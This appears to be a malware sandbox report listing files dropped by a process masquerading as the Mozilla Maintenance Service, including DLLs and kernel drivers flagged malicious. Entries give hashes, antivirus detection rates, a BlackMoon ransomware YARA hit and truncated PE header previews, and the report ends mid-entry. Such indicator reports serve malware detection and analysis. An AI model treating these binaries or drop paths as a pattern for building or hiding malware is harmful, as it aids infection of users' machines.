Process:	C:\Program Files (x86)\Mozilla Maintenance Service\F7BE15F582DD9.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	4744704
Entropy (8bit):	6.6650839563858515
Encrypted:	false
SSDEEP:	98304:JeP71Yv5+I6GKuUKx7uhvxUe2OIMk7RJdu4IvSTmo8wEgMDOdK1rXFl6uwZqQQYC:Je5DNmu98hRJdu4IvSTmo8wEgMDOdGvx
MD5:	695A41CD6529A1D4761F989E1BDC1BCA
SHA1:	FF900F5B867491E5A1B577D4AC18CAD26BC766F7
SHA-256:	F44F6A43ED807169DED6CB176DC7B723859238588D978C7AC34D60D7037491E2
SHA-512:	2E0042D355E2D4C06EB310A4882BE7B03E2169F2411BBE4C7BFBFA5FD4614CCF2046E914C040E6DB103DF0D8A0805FE567D353CF562731B997F5522C6EE0AAFB
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......o.A'+./t+./t+./tr.<t)./t...t"./tD..tn./tD..t~./t"..t-./t+..tC./t"..t<./tD..t=./t+./t./tD..t../tD..t./tRich+./t........PE..L....J.f...........!......6.."........3.......6...............................H...........@.................................t.=..............................pE..t..P.6.............................@.;.@.............6.T............................text....6.......6................. ..`.rdata...Q....6..R....6.............@..@.data.........>.......=.............@....vmp0....D... E..F....D.............`..`.reloc...t...pE..v....D.............@..B................................................................................................................................................................................................................................................................................................................

C:\Users\user\Desktop\I5F4E5C2742\CA2418BD\DA3FA8746\50C7CA7B7.dll

Download File

Process:	C:\Program Files (x86)\Mozilla Maintenance Service\F7BE15F582DD9.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	278528
Entropy (8bit):	6.462799085037293
Encrypted:	false
SSDEEP:	6144:qy8Rmc6sJdYFZY4yRc7979wypicS7UItAvl:clsYfu79pwypi949
MD5:	11D29986E22E3033FAD22362D5BB9B9E
SHA1:	2CE91BCAE7EA963FFDA9A797D4405AB87F2C77CD
SHA-256:	0D518D5120378DE44E8157A8F83F8AAF5BEB71A45BBF73C913F71E4BC9DCCEEB
SHA-512:	70D6C30DCB3F52E45F2C5E4859BD1238CB17DB56616E8A6A75942C92300365DE271D9FDE54F14822E0287D8A547E4523B42BB2F648491EB9C83ACFA2F734AAE8
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 5%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........e....................3........3......3..........%.......3....3....3....3....Rich............PE..L...!r.T...........!.........H...............0............................................@.........................P................0..0....................P...,..................................py..@............0...............................text............................... ..`.rdata.......0......................@..@.data....E.......$..................@....rsrc...0....0......................@..@.reloc..NB...P...D..................@..B................................................................................................................................................................................................................................................................................................

C:\Users\user\Desktop\I5F4E5C2742\CA2418BD\E2E4B6B5\331FPNNPK.exe

Download File

Process:	C:\Program Files (x86)\Mozilla Maintenance Service\F7BE15F582DD9.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1932288
Entropy (8bit):	7.366995838839318
Encrypted:	false
SSDEEP:	24576:chCOQLRu0C29Fl2aC5Cprjni1ct/dSeWMgyUnPDwANtydlYxYIagSYAGIzKY19yH:Mj8CuVC5Cd7gczSFpPnYIyYAbZ/y4fy
MD5:	9392BB44020A52F4233BB44190D0904E
SHA1:	6687ED15382F8796C8FBEC02E4E1CA8F1C4C2DB3
SHA-256:	763E67725292FA6F56333002845FC47EA2DDF632DDD8BBC1F967F7C8E5DFA20B
SHA-512:	E1ADE9E24CB02B0A2AFCBC984507D1CB32924180D3CEEDABF3AE83008899AE543C7C39DB30B8DB29C4999F8BDAD7447BF6DCA6A4628787B4CF8C69346AD6E1D1
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........uK...%...%...%.76...%.iZ....%.b....%.b...%..l....%...$.z.%..l....%.b....%.b....%.b....%.b....%.Rich..%.........PE..L...W.nf.....................@.......r............@.......................................@.................................4...h........'...................0.....0............................... ...@............................................text............................... ..`.rdata.............................@..@.data...@j...p...(...T..............@....vmp0...Ro.......p...\|..............`....vmp1........P......................`....reloc......0......................@..@.rsrc....'.......(...T..............@..@................................................................................................................................................................................................................................

C:\Users\user\Desktop\I5F4E5C2742\CA2418BD\E392A1673\7D853zyts.dll

Download File

Process:	C:\Program Files (x86)\Mozilla Maintenance Service\F7BE15F582DD9.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	5095424
Entropy (8bit):	6.573640794066719
Encrypted:	false
SSDEEP:	98304:8/Gq9tQ0I2sfjn+1LOfPR6F2+5bT7j5R31:e9t9I2vLOfPot
MD5:	AAA5DC054C587BCB8101660A9C08F0EC
SHA1:	1AAEA461D0B7DF8287B9269F945573F7BBD773A5
SHA-256:	3E0E15C5C5D2B5868B768E1AB71EAE9A2900B2341CF589272D571A0E3817A4E2
SHA-512:	FF02058DDE5A09E2DCE1FA9B5E8EBEC29809ACABA29A1D87623CAA40713C95B9AEE2A73F97632152F4D80FA270E5DE30BCA8A263A31A762B0339795139AAE964
Malicious:	true
Yara Hits:	Rule: JoeSecurity_blackmoon, Description: Yara detected BlackMoon Ransomware, Source: C:\Users\user\Desktop\I5F4E5C2742\CA2418BD\E392A1673\7D853zyts.dll, Author: Joe Security Rule: MALWARE_Win_BlackMoon, Description: Detects executables using BlackMoon RunTime, Source: C:\Users\user\Desktop\I5F4E5C2742\CA2418BD\E392A1673\7D853zyts.dll, Author: ditekSHen
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 61%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......2-x.vL..vL..vL...S..tL...P..wL..CI.qL...P..XL..@j..L..S..pL../o..tL..CK.UL..vL..N..@j..L..vL..wL..S..xL..J..wL..S..wL..RichvL..................PE..L...eb.]...........!.....0?..........O<......@?..............................0P......................................*@.M...8.?.\|.... P......................@N.\|....................................................@?..............................text...J'?......0?................. ..`.rdata..]....@?......@?.............@..@.data........0@......0@.............@....vmp0........ K.. ....H.............`..`.reloc..\|....@N.......K.............@..@.rsrc........ P.......M.............@...........................................................................................................................................................................................................................................

C:\Users\user\Desktop\I5F4E5C2742\CA2418BD\ECAE159\5C13YSSUW.dll

Download File

Process:	C:\Program Files (x86)\Mozilla Maintenance Service\F7BE15F582DD9.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	163840
Entropy (8bit):	6.306746357940625
Encrypted:	false
SSDEEP:	3072:fs2c0aBV0bdukL+s45w+Icr6Hizu7HRtCfWpZQvYwvOSDc89DlMQFZ8J5/Bw9bmo:f1cB3kukL+sQw+XCnRtQaeU89LK/BIm
MD5:	203CD4EC29A18F1C8A1DDEFADC3F7382
SHA1:	47A4072EDF7C4530D4E86B84CBE5118E277DE543
SHA-256:	566086537066D3FF72167F09ADC2522AC72D24DA0601E7966367A8A85802A121
SHA-512:	28FB3CF0D811F35C387BB666070CE5B6422401E59D0748E420C246EFCF7F3ECBE6EE938242D7E93103083E9B45590ABE0E864E540B953BD3C4F3949B3D579A19
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@................................... ...........!..L.!This program cannot be run in DOS mode....$.......tN..0/..0/..0/..0/..4/...0..1/...'..2/..K3..1/..f0..5/..R0..8/...3..2/.._0..3/.._0..4/.._0..2/......5/..0/.../...0.../......7/...)..1/......1/..Rich0/..........PE..L......W...........!................+...............................................................................@................`..........................`....................................................................................text...>........................... ..`.rdata...2.......@..................@..@.data....5... ... ... ..............@....rsrc........`... ...@..............@..@.reloc..>........ ...`..............@..B........................................................................................................................................................................................................................................................................

C:\Users\user\Desktop\I5F4E5C2742\CA2418BD\F141FC6\3E32331dd.dll

Download File

Process:	C:\Program Files (x86)\Mozilla Maintenance Service\F7BE15F582DD9.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	364032
Entropy (8bit):	7.874668264129561
Encrypted:	false
SSDEEP:	6144:rSQlcOmBAD7fxrVyqVENIxKMFpeJ0LgRtcRtd:W+n6Ax0WuSKM360URtq
MD5:	60187C5081DF7F3EE20C834C6E1BEA1D
SHA1:	50CE14D15FDB27E8E98B1CA43AF3C2C45B3A81B2
SHA-256:	7C00A8190DD048B43DEB36E99E52864DE4DC25211993426CBA32891F8F8824B2
SHA-512:	925D2E52ED3968E5CE6570394D2B7D7003AD67CDF5AF7D9CEC9E60121AABC44733AC7A00811D242E96F035CCF3442812A83986E6CF809FE643634C50ADE707F3
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 42%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........?...^...^...^......^...}...^..}.,..^...&9..^...&)..^...^..K\..../..^....9.k^....>.Y^....0..^....(..^.......^....+..^..Rich.^..................PE..L...<F.f...........!.........6......Hs..............................................Ij....@..........................I..4....g..\|........7......................\|...,...................................@...............$... ...@....................text............................... ..`.rdata..t+..........................@..@.data...............................@....vvvt0..............................`..`.vvvt1...{...@...\|..................`....reloc..\|...........................@..@.rsrc....7..........................@..@........................................................................................................................................................................................................

C:\Users\user\Desktop\I5F4E5C2742\CA2418BD\F141FC6\4EE1UTOOM.dll

Download File

Process:	C:\Program Files (x86)\Mozilla Maintenance Service\F7BE15F582DD9.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	364032
Entropy (8bit):	7.874668264129561
Encrypted:	false
SSDEEP:	6144:rSQlcOmBAD7fxrVyqVENIxKMFpeJ0LgRtcRtd:W+n6Ax0WuSKM360URtq
MD5:	60187C5081DF7F3EE20C834C6E1BEA1D
SHA1:	50CE14D15FDB27E8E98B1CA43AF3C2C45B3A81B2
SHA-256:	7C00A8190DD048B43DEB36E99E52864DE4DC25211993426CBA32891F8F8824B2
SHA-512:	925D2E52ED3968E5CE6570394D2B7D7003AD67CDF5AF7D9CEC9E60121AABC44733AC7A00811D242E96F035CCF3442812A83986E6CF809FE643634C50ADE707F3
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 42%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........?...^...^...^......^...}...^..}.,..^...&9..^...&)..^...^..K\..../..^....9.k^....>.Y^....0..^....(..^.......^....+..^..Rich.^..................PE..L...<F.f...........!.........6......Hs..............................................Ij....@..........................I..4....g..\|........7......................\|...,...................................@...............$... ...@....................text............................... ..`.rdata..t+..........................@..@.data...............................@....vvvt0..............................`..`.vvvt1...{...@...\|..................`....reloc..\|...........................@..@.rsrc....7..........................@..@........................................................................................................................................................................................................

C:\Users\user\Desktop\I5F4E5C2742\CA2418BD\FEBDE290\6609QLNJK.dll

Download File

Process:	C:\Program Files (x86)\Mozilla Maintenance Service\F7BE15F582DD9.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	98304
Entropy (8bit):	5.723671248831358
Encrypted:	false
SSDEEP:	1536:bOpvODXphadHM/653RQBwXm/KURjSDhfmjjp5QsKDhwO3b:kKZiM/65SCYymP3NKDhwE
MD5:	DD3B0103C412D3A0781FF32EBC4C7D0C
SHA1:	DDDD4AC4CC8961D6EBFA28A4DC627EB92E20B1E5
SHA-256:	DE3CCEC54582DA666CAA1FBC1FAB4BF6192189169E4470C82B194FCD0344CCE5
SHA-512:	BC04B56A5D199BBC86FA4E353CE781B0F8FAFB2A7F1B0612CB295284C15C28704DD9344D5B1227344253B8CC0FBA2402C117A43DBAAD4115A3DAB2DB041C0706
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........}H..&...&...&...&...&...-...&...(...&...,...&..."...&..:-...&..:"...&...'.5.&...5...&.u.-...&.Z. ...&.u."...&.Rich..&.........PE..L...^.8Z...........!................................................................................................ :.......5.......`.......................p..........................................................@............................text............................... ..`.rdata...+.......0..................@..@.data........@.......@..............@....rsrc........`.......P..............@..@.reloc..B....p... ...`..............@..B........................................................................................................................................................................................................................................................................................................

C:\Users\user\Desktop\I5F4E5C2742\CA2418BD\G46A21F683\93DBkmnlf.dll

Download File

Process:	C:\Program Files (x86)\Mozilla Maintenance Service\F7BE15F582DD9.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1248768
Entropy (8bit):	6.676222335773298
Encrypted:	false
SSDEEP:	24576:f2vEztMdcDrgilCB36NjnQ1Ho6z253hiNL:bztMdcDrgiA6NjIDz253
MD5:	2C5F99EEC6A7B98AE489A253FA1F4151
SHA1:	B0369DEF36C4C1AFA9A2E2BA727A30B9D4DD31C0
SHA-256:	678546CC0CF5260EA51F7104BC4DEEB6F84D9BEAFE1E09F9B487A7579E40F959
SHA-512:	0571B74B63FB461322313F1685A84A4421EF21223D7708552E39CCBCF2AEA2C4A1221257B31467876A4A1F66433CF852DB1C460EE75EF2C85245DBA36455AB68
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 11%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......l5^.(T0.(T0.(T0.....+T0.G"..lT0.G"..NT0.G"...T0.!,..!T0.(T1..T0.(T0.)T0.G"...T0.G"..)T0.Rich(T0.........PE..L....r.c...........!.....L...................`...............................P............@.....................................d................................... d..............................@...@............`...............................text...3J.......L.................. ..`.rdata..bY...`...Z...P..............@..@.data...(...........................@....reloc...............T..............@..B........................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\Desktop\I5F4E5C2742\CA2418BD\HEF768\70ACtrsvy.dll

Download File

Process:	C:\Program Files (x86)\Mozilla Maintenance Service\F7BE15F582DD9.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	697344
Entropy (8bit):	7.987740216318556
Encrypted:	false
SSDEEP:	12288:ZJOpSSP/ct8PFEWQ6dLBOCRf747xLwV3bgJx6I2jnkP:MJPkEi9g47xsV32n2L
MD5:	635EA65C178C0AF1337A0D9BA23B9880
SHA1:	F0A9C2D5F8BCCDA8199FF48CD00DDD1F44D9C8A9
SHA-256:	382D06362E60A6FC7E4E7BF02C43B3B9243F74FB2463C62D9AC386E4E26F25A1
SHA-512:	F19D2DD5A824D042C469A09FA04D8D94722CAE97E2E3B7FC6F15D86333E49BB1C57B6B2246F26E753C22BCCBEF28BCE6E5C14D9471170A2193F7DB5955E1C9BE
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 7%
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....!xY............................. ...........@..........................P ............................................../ ......P......................T/ ......................................................................................text....p..........................@....itext... ..........................@....data............:..................@....bss.....`...0......................@....idata...@..........................@....didata.............................@....edata..............................@....reloc...`.......(... ..............@....rsrc........P...F...H..............@....aspack.. ... .....................@....adata.......@ .....................@...........................................................

C:\Users\user\Desktop\I5F4E5C2742\CECF542EE32\BA3CXXaVO.dll

Download File

Process:	C:\Program Files (x86)\Mozilla Maintenance Service\F7BE15F582DD9.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	13312
Entropy (8bit):	5.397635444561731
Encrypted:	false
SSDEEP:	192:/o5r2+6acxUj33TwlsXsDonjrWgncCMxOR3XkEqbp9K6ydDrjf9:A5Otx8HTweXssvWtxOt0L71yRrZ
MD5:	6D4F24374636A1D2B18D23508E94A5AF
SHA1:	6056E57026F5106BE7448650A711088F7F26B81B
SHA-256:	1001BED009D07EFADF0A1784CB07E79A362EAA4CDE62C43E8EC226B210E1388E
SHA-512:	3013651D862D731746A238AB729023506E65C7A8DE2E9967482B7356923296581C7F004B604D560DECB0B5FD32FAB3087DF7C4528C3EE1C6BC75C4E3A7D621FD
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........n..T...T...T...s..P....@..U...J]..U...J]..Z...J]..]...J]..Q...T...>...J]..V...J]..U...J]..U...J]..U...RichT...........................PE..L....8.\...........!................"........0...............................p............@......................... =..5...<8..P....P..,....................`..t....1...............................3..@............0...............................text............................... ..`.rdata..U....0......................@..@.data........@.......$..............@....rsrc...,....P.......&..............@..@.reloc.......`......................@..B................................................................................................................................................................................................................................................................................................

C:\Users\user\Desktop\I5F4E5C2742\DA6D75BF83C0\A9CDXQRQR.dll

Download File

Process:	C:\Program Files (x86)\Mozilla Maintenance Service\F7BE15F582DD9.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	13312
Entropy (8bit):	5.397635444561731
Encrypted:	false
SSDEEP:	192:/o5r2+6acxUj33TwlsXsDonjrWgncCMxOR3XkEqbp9K6ydDrjf9:A5Otx8HTweXssvWtxOt0L71yRrZ
MD5:	6D4F24374636A1D2B18D23508E94A5AF
SHA1:	6056E57026F5106BE7448650A711088F7F26B81B
SHA-256:	1001BED009D07EFADF0A1784CB07E79A362EAA4CDE62C43E8EC226B210E1388E
SHA-512:	3013651D862D731746A238AB729023506E65C7A8DE2E9967482B7356923296581C7F004B604D560DECB0B5FD32FAB3087DF7C4528C3EE1C6BC75C4E3A7D621FD
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........n..T...T...T...s..P....@..U...J]..U...J]..Z...J]..]...J]..Q...T...>...J]..V...J]..U...J]..U...J]..U...RichT...........................PE..L....8.\...........!................"........0...............................p............@......................... =..5...<8..P....P..,....................`..t....1...............................3..@............0...............................text............................... ..`.rdata..U....0......................@..@.data........@.......$..............@....rsrc...,....P.......&..............@..@.reloc.......`......................@..B................................................................................................................................................................................................................................................................................................

C:\Users\user\Desktop\I5F4E5C2742\EC942651\C903fcVWV.dll

Download File

Process:	C:\Program Files (x86)\Mozilla Maintenance Service\F7BE15F582DD9.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	200704
Entropy (8bit):	7.840036180451055
Encrypted:	false
SSDEEP:	3072:DtWru7tGhV0AD1Lciipl4gseTwdDV5PEv4gtJDxbs29mHzsKl5eUMfSrxrO:0ru7tGcJLqgseTMV9ivFsZ2XSM
MD5:	A366501F2CE6ABA81384C2688AF599C1
SHA1:	2A3A109CCFFCE9F1245B328E521120AC2FBFF66B
SHA-256:	233D8F1CB06995B505F4CECBAFE0DD53635BF820002C512639DD5A0B87827086
SHA-512:	4FA0E0BB6396ED2D8DB837EE010CD647DE4799AE9C111DB056EB7E0DC02D0D3BE936BDCD8342923DE359415890D9602BA0DEC20ED1111D68BAC5D38C2DDDB142
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 54%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$....................D.............=......<................9..........Rich...........PE..L......`...........!.........:...........................................................@.................................h1..d............................p......,f...............................e..@...............4............................text...v........................... ..`.rdata...K..........................@..@.data...H...........................@....vmp0....j..........................`....vmp1........`......................`....reloc.......p......................@..@.rsrc...............................@..@........................................................................................................................................................................................................................................................

C:\Users\user\Desktop\I5F4E5C2742\ED90155A\976457BEB.dll

Download File

Process:	C:\Program Files (x86)\Mozilla Maintenance Service\F7BE15F582DD9.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	13312
Entropy (8bit):	5.397635444561731
Encrypted:	false
SSDEEP:	192:/o5r2+6acxUj33TwlsXsDonjrWgncCMxOR3XkEqbp9K6ydDrjf9:A5Otx8HTweXssvWtxOt0L71yRrZ
MD5:	6D4F24374636A1D2B18D23508E94A5AF
SHA1:	6056E57026F5106BE7448650A711088F7F26B81B
SHA-256:	1001BED009D07EFADF0A1784CB07E79A362EAA4CDE62C43E8EC226B210E1388E
SHA-512:	3013651D862D731746A238AB729023506E65C7A8DE2E9967482B7356923296581C7F004B604D560DECB0B5FD32FAB3087DF7C4528C3EE1C6BC75C4E3A7D621FD
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........n..T...T...T...s..P....@..U...J]..U...J]..Z...J]..]...J]..Q...T...>...J]..V...J]..U...J]..U...J]..U...RichT...........................PE..L....8.\...........!................"........0...............................p............@......................... =..5...<8..P....P..,....................`..t....1...............................3..@............0...............................text............................... ..`.rdata..U....0......................@..@.data........@.......$..............@....rsrc...,....P.......&..............@..@.reloc.......`......................@..B................................................................................................................................................................................................................................................................................................

C:\Users\user\Desktop\I5F4E5C2742\G2730CC2

Download File

Process:	C:\Program Files (x86)\Mozilla Maintenance Service\F7BE15F582DD9.exe
File Type:	data
Category:	dropped
Size (bytes):	468
Entropy (8bit):	7.48101029456254
Encrypted:	false
SSDEEP:	12:Qhxnaficms7BkOshMhZdomARB0xgMhwLvW21aXqHVGYB+Urf+cshM0BpART:Qnafi07SOshMhZqmARB0xgMhMW2UqHLX
MD5:	F43E2C52A767606BD68189CA7364107D
SHA1:	8B52C3BD388771A5B2C6C75FD68B2C81EEDF9B47
SHA-256:	FE22138EEC73793D0F1FAE4B8D975F8A1E956152B50BE5B63F6A6C8E228C801B
SHA-512:	BAE0A0060D3AFD9BC21DD42B977E356B1B5B3ECC5BD9FDC718B8B0D79B372261D1DFCA58CDAE7E981818ECD2BCD40420B1A764014EE42C1BAE08C0B8A9249DB5
Malicious:	false
Preview:	g`o.TisfagIq~a {qc..............X"".STrNFNyMM.\HB12-456189:5<=>9@AB=.EFA0"....`;1#RMTUVQXYZU\]^Y`ab]defafije...6......._...u\|}~y...}............................................................................................................$.......8rj.*wgs........................a..,.VN[.[KW,-.)012-456189:5<=>9HAB=."#$;!0k>,<IPQRMTUVQXYZU\]^Y`ab]aefa)......G...mtuvqxyzu\|}~y...}...........................................................................

C:\Users\user\Desktop\I5F4E5C2742\G8B0663\7599UTVWP.dll

Download File

Process:	C:\Program Files (x86)\Mozilla Maintenance Service\F7BE15F582DD9.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	614400
Entropy (8bit):	7.9216008760747325
Encrypted:	false
SSDEEP:	12288:v39HfzCgZ1UpcBLioopeCTKtYF3ECT9IhYWaTy94yVOvV3m3:vtLCcUpQmomea9F3B+XY2Ohm3
MD5:	1CD5B851B0AC196F36DF69B82DDD475E
SHA1:	A8831A73E9FB0FE78B110681F13300A56898680A
SHA-256:	23A842D3EE1B7724999BE5C8676BE999294D63B9BB94492E6BB4C0FB1A0D1402
SHA-512:	650053FFF05DF29976AF65347A5C9850B52186E0847BA2A7A05E3662E5CD607BDA5CA8B7290FFC56F6B786FE337FD8C48CCA8B953482C0C54AED5C1C041EC690
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 78%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$............n...n...n...q..n...q..n...r..n...a...n..Xr...n..Xf...n...H.bn..3q..n...H...n...n..Bl...a...n...H.an...n...n..3q..n..3q...n..Rich.n..........PE..L.....\...........!.........`......^........................................0!........................................d.................................... !....................................................... ..............................text....\|.......................... ..`.rdata..............................@..@.data...q.... ......................@....vmp0...Y...........................`..`.vmp1....4.......@..................`....reloc....... !......P..............@..B........................................................................................................................................................................................................................................

C:\Windows\F7BE15F.sys

Download File

Process:	C:\Program Files (x86)\Mozilla Maintenance Service\F7BE15F582DD9.exe
File Type:	PE32+ executable (native) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1318104
Entropy (8bit):	7.860428929121196
Encrypted:	false
SSDEEP:	24576:zkSmotksq0AeBsLzlvfz02FaBj/EIR/SFVB+wSQ3jqE0srpa+UJO:zoIO0AeCLzlvQPj/EIR0Hj3jq6rk+WO
MD5:	8F97B9BD9A7B721085B5D70C54D899EE
SHA1:	317D445C103EE2013EE5231744F9FE3AEE602405
SHA-256:	6E12255C4E5FFC3C02A2A8FC9F64D8539F68365D6F6B0B04BC07902EFBF476AF
SHA-512:	FC80130CC89639BA51318A43C417F1396D13837E1293A50861552743E2CAC08892000F2F8F4A8CA69F9C45F06AC6F8E07E281EA99E1ABFD170CED9D12D312F5E
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........J.~...~...~...~...~....,..~....<..~......~....q..~....r..~..~.^..~..~._..~..~.a..~..Rich.~..........PE..d...E@jf.........."..........&.................@...................................m.....`.....................................................P...............,.................................................................).0............................text....~.......................... ..h.rdata..<F..........................@..H.data...............................@....pdata..,...........................@..HINIT................................ ..`.vvd0...............................`..h.vvd1...............................`....reloc.............................@..B........................................................................................................................................................................................

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	55
Entropy (8bit):	4.306461250274409
Encrypted:	false
SSDEEP:	3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
MD5:	DCA83F08D448911A14C22EBCACC5AD57
SHA1:	91270525521B7FE0D986DB19747F47D34B6318AD
SHA-256:	2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
SHA-512:	96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
Malicious:	false
Preview:	{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

C:\Windows\SysWOW64\4CE0zvyEH.sys

Download File

Process:	C:\Program Files (x86)\Mozilla Maintenance Service\F7BE15F582DD9.exe
File Type:	PE32+ executable (native) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1318104
Entropy (8bit):	7.860428929121196
Encrypted:	false
SSDEEP:	24576:zkSmotksq0AeBsLzlvfz02FaBj/EIR/SFVB+wSQ3jqE0srpa+UJO:zoIO0AeCLzlvQPj/EIR0Hj3jq6rk+WO
MD5:	8F97B9BD9A7B721085B5D70C54D899EE
SHA1:	317D445C103EE2013EE5231744F9FE3AEE602405
SHA-256:	6E12255C4E5FFC3C02A2A8FC9F64D8539F68365D6F6B0B04BC07902EFBF476AF
SHA-512:	FC80130CC89639BA51318A43C417F1396D13837E1293A50861552743E2CAC08892000F2F8F4A8CA69F9C45F06AC6F8E07E281EA99E1ABFD170CED9D12D312F5E
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........J.~...~...~...~...~....,..~....<..~......~....q..~....r..~..~.^..~..~._..~..~.a..~..Rich.~..........PE..d...E@jf.........."..........&.................@...................................m.....`.....................................................P...............,.................................................................).0............................text....~.......................... ..h.rdata..<F..........................@..H.data...............................@....pdata..,...........................@..HINIT................................ ..`.vvd0...............................`..h.vvd1...............................`....reloc.............................@..B........................................................................................................................................................................................

C:\Windows\SysWOW64\5942hcVWR.sys

Download File

Process:	C:\Program Files (x86)\Mozilla Maintenance Service\F7BE15F582DD9.exe
File Type:	PE32+ executable (native) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1284704
Entropy (8bit):	7.864019390308608
Encrypted:	false
SSDEEP:	24576:obVjS19Tgw2F4CqVOZKZ+YM9oIiZT9GJSH7QJTPi7LDXW4UDOWd3ctFZg:iVc5g1F4CqVOZYbZT9cbti3XLOOm3cto
MD5:	9EAF126D6896B0739F295CAE9BD84A58
SHA1:	8CA630C64E388A63E627D9A8AB0DE93E82F7404B
SHA-256:	252AF6D398046E3317C329E8ACFED8D5AFE3689894ADAF7CFAC73381F6133435
SHA-512:	B6ED1FF2ECBD2C06F3490BC7B279CAAB106E69EC0CD0C571A63EADE55B6778ED06B36A022D2F5161C4FC04EE4FA0475D336C6BD53E275561F3286200B265E720
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 83%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........J.~...~...~...~...~....,..~....<..~....*..~....q..~....r..~..~.^..~..~._..~..~.a..~..Rich.~..........PE..d...E@jf.........."..........&......m..........@..............................)...........`.................................................@!..P...............,.......`.....).....(.).............................X.).............. '.0............................text....~.......................... ..h.rdata..<F..........................@..H.data...............................@....pdata..,...........................@..HINIT................................ ..`.vvd0...l...........................`..h.vvd1...D~..........................`....reloc........).....................@..B........................................................................................................................................................................................

C:\Windows\SysWOW64\A633favQv.sys

Download File

Process:	C:\Program Files (x86)\Mozilla Maintenance Service\F7BE15F582DD9.exe
File Type:	PE32+ executable (native) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1287368
Entropy (8bit):	7.869849775817759
Encrypted:	false
SSDEEP:	24576:Vl/7W2RBmUJ7OL6RKzPA6zkWfdGV8Kwl13af2k5kw11iuP2X6:Vl/7FRjRKzeYg8K0aeVwGup
MD5:	D44EECCC25CCC148F30999C2EE987A7E
